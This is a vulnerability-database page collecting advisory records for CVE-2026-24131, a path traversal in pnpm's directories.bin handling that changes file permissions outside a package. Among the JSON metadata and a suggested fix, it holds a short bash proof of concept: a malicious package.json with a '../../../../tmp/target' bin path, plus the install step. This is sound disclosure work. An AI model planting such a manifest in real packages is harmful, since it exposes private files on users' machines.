Vulnerability-Lookup

BREW-PNPM-CVE-2026-24131 (CVE-2026-24131)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:28 – Updated: 2026-10-08 00:38 – Source website

Summary

pnpm has Path Traversal via arbitrary file permission modification

Details

pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED). Version 10.28.2 contains a patch.

Severity

6.7 (Medium)


                    
                      CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

URL

Type

	https://github.com/pnpm/pnpm/releases/tag/v10.28.2	WEB
	https://github.com/CVEProject/cvelistV5/tree/main…	ADVISORY
	https://github.com/pnpm/pnpm/security/advisories/…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-24131	ADVISORY
	https://github.com/pnpm/pnpm/commit/17432ad5bbed5…	FIX

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "10.28.2"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pnpm",
        "purl": "pkg:brew/pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.2"
            },
            {
              "fixed": "10.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "git",
    "upstream_evidence": [
      {
        "ecosystem": "GIT",
        "key": "https://github.com/pnpm/pnpm",
        "name": "https://github.com/pnpm/pnpm",
        "strategy": "git",
        "subject_version": "v12.9.1"
      },
      {
        "ecosystem": "npm",
        "key": "pkg:npm/pnpm@12.9.1",
        "name": "pnpm",
        "strategy": "registry",
        "subject_version": "12.9.1"
      }
    ]
  },
  "details": "pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package\u0027s `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.",
  "id": "BREW-pnpm-CVE-2026-24131",
  "modified": "2026-10-08T00:38:44Z",
  "published": "2026-08-13T17:28:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.2"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24131.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24131"
    },
    {
      "type": "FIX",
      "url": "https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pnpm has Path Traversal via arbitrary file permission modification",
  "upstream": [
    "CVE-2026-24131",
    "GHSA-v253-rj99-jwpq"
  ]
}

CVE-2026-24131 (GCVE-0-2026-24131)

Vulnerability from cvelistv5 – Published: 2026-01-26 22:03 – Updated: 2026-01-27 21:37

Title

pnpm has Path Traversal via arbitrary file permission modification

Summary

pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `"directories": {"bin": "../../../../tmp"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.

Severity

6.7 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-01-27 21:37 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-732 - Incorrect Permission Assignment for Critical Resource

Assigner

GitHub_M mitre root Scorecard

References

3 references

URL	Tags
https://github.com/pnpm/pnpm/security/advisories/…	x_refsource_CONFIRM
https://github.com/pnpm/pnpm/commit/17432ad5bbed5…	x_refsource_MISC
https://github.com/pnpm/pnpm/releases/tag/v10.28.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
pnpm	pnpm	Affected: < 10.28.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-24131",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-27T21:37:39.852167Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-27T21:37:51.868Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pnpm",
          "vendor": "pnpm",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 10.28.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package\u0027s `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 6.7,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-732",
              "description": "CWE-732: Incorrect Permission Assignment for Critical Resource",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-26T22:03:33.808Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq"
        },
        {
          "name": "https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943"
        },
        {
          "name": "https://github.com/pnpm/pnpm/releases/tag/v10.28.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.2"
        }
      ],
      "source": {
        "advisory": "GHSA-v253-rj99-jwpq",
        "discovery": "UNKNOWN"
      },
      "title": "pnpm has Path Traversal via arbitrary file permission modification"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-24131",
    "datePublished": "2026-01-26T22:03:33.808Z",
    "dateReserved": "2026-01-21T18:38:22.474Z",
    "dateUpdated": "2026-01-27T21:37:51.868Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-V253-RJ99-JWPQ

Vulnerability from github – Published: 2026-01-26 21:29 – Updated: 2026-01-26 21:29

Summary

pnpm has Path Traversal via arbitrary file permission modification

Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

# Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

# Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

# Install
pnpm add file:/tmp/malicious-pkg

# Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)

Impact

Supply-chain attack via npm packages
File permissions changed from 600 to 755 (world-readable)
Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

Severity

6.7 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T21:29:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen pnpm processes a package\u0027s `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.\n\n**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).\n\n### Details\nVulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION\n  const files = await findFiles(binDir)\n  // ... files outside package returned, then chmod 755\u0027d\n}\n```\n\nThe `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.\n\n### PoC\n```bash\n# Create malicious package\nmkdir /tmp/malicious-pkg\necho \u0027{\"name\":\"malicious\",\"version\":\"1.0.0\",\"directories\":{\"bin\":\"../../../../tmp/target\"}}\u0027 \u003e /tmp/malicious-pkg/package.json\n\n# Create sensitive file\nmkdir -p /tmp/target\necho \"secret\" \u003e /tmp/target/secret.sh\nchmod 600 /tmp/target/secret.sh  # Private\n\n# Install\npnpm add file:/tmp/malicious-pkg\n\n# Check permissions\nls -la /tmp/target/secret.sh  # Now 755 (world-readable)\n```\n\n### Impact\n- Supply-chain attack via npm packages\n- File permissions changed from 600 to 755 (world-readable)\n- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)\n\n### Suggested Fix\nAdd `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)\n  if (!isSubdir(pkgPath, binDir)) {\n    return []  // Reject paths outside package\n  }\n  // ...\n}\n```",
  "id": "GHSA-v253-rj99-jwpq",
  "modified": "2026-01-26T21:29:58Z",
  "published": "2026-01-26T21:29:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pnpm has Path Traversal via arbitrary file permission modification "
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

BREW-PNPM-CVE-2026-24131 (CVE-2026-24131)

CVE-2026-24131 (GCVE-0-2026-24131)

GHSA-V253-RJ99-JWPQ

Summary

Details

PoC

Impact

Suggested Fix

Tags

Sightings

Nomenclature

Related by attack behaviour